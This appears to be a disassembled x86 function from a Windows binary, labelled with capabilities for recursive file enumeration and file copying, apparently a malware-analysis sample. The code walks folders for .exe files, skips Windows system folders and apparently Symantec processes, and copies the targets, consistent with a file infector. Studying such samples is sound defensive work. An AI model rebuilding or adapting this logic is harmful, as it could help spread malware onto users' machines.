Function at 0x4013fe
Capabilities:
Copy file
Enumerate files on windows
Enumerate files recursively

Disassembly:
sub esp, 0x10
push ebx
push ebp
push esi
mov esi, 0x1f4
push edi
push esi
call fcn.00403a40
mov ebx, eax
push esi
mov dword [esp + 0x24], ebx
call fcn.00403a40
push esi
mov dword [esp + 0x20], eax
call fcn.00403a40
push esi
mov ebp, eax
call fcn.00403a40
push dword [esp + 0x34]
mov esi, eax
mov dword [esp + 0x2c], esi
push ebx
call fcn.00403950
push str..exe
push ebx
call fcn.00403960
push 0x140
call fcn.00403a40
push dword [0x40ba5c]
mov edi, eax
push dword [esp + 0x4c]
call fcn.00407ff0
add esp, 0x2c
test eax, eax
je 0x401734
push dword [0x40ba64]
push dword [esp + 0x28]
call fcn.00407ff0
pop ecx
test eax, eax
pop ecx
je 0x401734
lea eax, [esp + 0x10]
push str.windows
push eax
mov dword [esp + 0x18], 7
push dword [esp + 0x2c]
call fcn.00401e26
pop ecx
pop ecx
push eax
call fcn.00407ff0
pop ecx
test eax, eax
pop ecx
je 0x401734
lea eax, [esp + 0x10]
push str.system32
push eax
mov dword [esp + 0x18], 8
push dword [esp + 0x2c]
call fcn.00401e26
pop ecx
pop ecx
push eax
call fcn.00407ff0
pop ecx
test eax, eax
pop ecx
je 0x401734
lea eax, [esp + 0x10]
push str.system
push eax
mov dword [esp + 0x18], 6
push dword [esp + 0x2c]
call fcn.00401e26
pop ecx
pop ecx
push eax
call fcn.00407ff0
pop ecx
test eax, eax
pop ecx
je 0x401734
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x10], eax
je 0x401657
lea ebx, [edi + 0x2c]
push str.IEXPLORE.EXE
push ebx
call fcn.00407ff0
pop ecx
test eax, eax
pop ecx
je 0x401640
push str.ccApp.exe
push ebx
call fcn.00407ff0
pop ecx
test eax, eax
pop ecx
je 0x401640
push str.ccRegVfy.exe
push ebx
call fcn.00407ff0
pop ecx
test eax, eax
pop ecx
je 0x401640
push dword [esp + 0x24]
push ebp
call fcn.00403950
push 0x40b07c
push ebp
call fcn.00403960
push ebx
push ebp
call fcn.00403960
push ebp
push esi
call fcn.00403950
add esp, 0x20
push 0x40ba48
push esi
call fcn.004038d0
pop ecx
lea eax, [eax + esi - 3]
push eax
call fcn.00403950
push esi
call fcn.004013b8
add esp, 0xc
test al, al
je 0x4015b6
push esi
call fcn.00401c88
pop ecx
push ebp
call fcn.00401908
test al, al
pop ecx
jne 0x401640
push ebp
mov ecx, 0x40ba54
call fcn.00401f1c
test al, al
je 0x401640
push dword [0x40ba60]
call fcn.004038d0
inc eax
push eax
call fcn.00403a40
push dword [0x40ba60]
mov esi, eax
push esi
call fcn.00403950
add esp, 0x10
push 0x40ba4c
push esi
call fcn.004038d0
pop ecx
lea eax, [eax + esi - 3]
push eax
call fcn.00403950
pop ecx
pop ecx
push 0
push esi
push dword [0x40ba60]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push esi
push ebp
mov ecx, 0x40ba54
call fcn.0040240c
push ebp
push esi
call fcn.00401a78
push esi
call fcn.00401c88
push esi
call fcn.004038b6
mov esi, dword [esp + 0x28]
add esp, 0x10
push edi
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x401527
mov ebx, dword [esp + 0x1c]
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_FindClose]
push dword [esp + 0x24]
push ebx
call fcn.00403950
push str..
push ebx
call fcn.00403960
add esp, 0x10
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x10], eax
je 0x401734
mov eax, dword [edi]
and eax, 0x10
cmp al, 0x10
jne 0x4016ea
lea esi, [edi + 0x2c]
push 0x40b070
push esi
call fcn.00407ff0
pop ecx
test eax, eax
pop ecx
je 0x4016ea
push 0x40b06c
push esi
call fcn.00407ff0
pop ecx
test eax, eax
pop ecx
je 0x4016ea
push dword [esp + 0x24]
mov esi, dword [esp + 0x18]
push esi
call fcn.00403950
push 0x40b07c
push esi
call fcn.00403960
lea eax, [edi + 0x2c]
push eax
push esi
call fcn.00403960
push esi
call fcn.004013fe
add esp, 0x1c
jmp 0x4016ee
mov esi, dword [esp + 0x14]
push edi
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x401738
mov eax, dword [edi]
and eax, 0x10
cmp al, 0x10
jne 0x4016ee
lea eax, [edi + 0x2c]
push 0x40b070
push eax
call fcn.00407ff0
pop ecx
test eax, eax
pop ecx
je 0x4016ee
lea eax, [edi + 0x2c]
push 0x40b06c
push eax
call fcn.00407ff0
pop ecx
test eax, eax
pop ecx
je 0x4016ee
push dword [esp + 0x24]
jmp 0x4016c4
mov esi, dword [esp + 0x14]
push ebx
call fcn.004038b6
push esi
call fcn.004038b6
push ebp
call fcn.004038b6
push dword [esp + 0x24]
call fcn.004038b6
push edi
call fcn.004038b6
add esp, 0x14
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret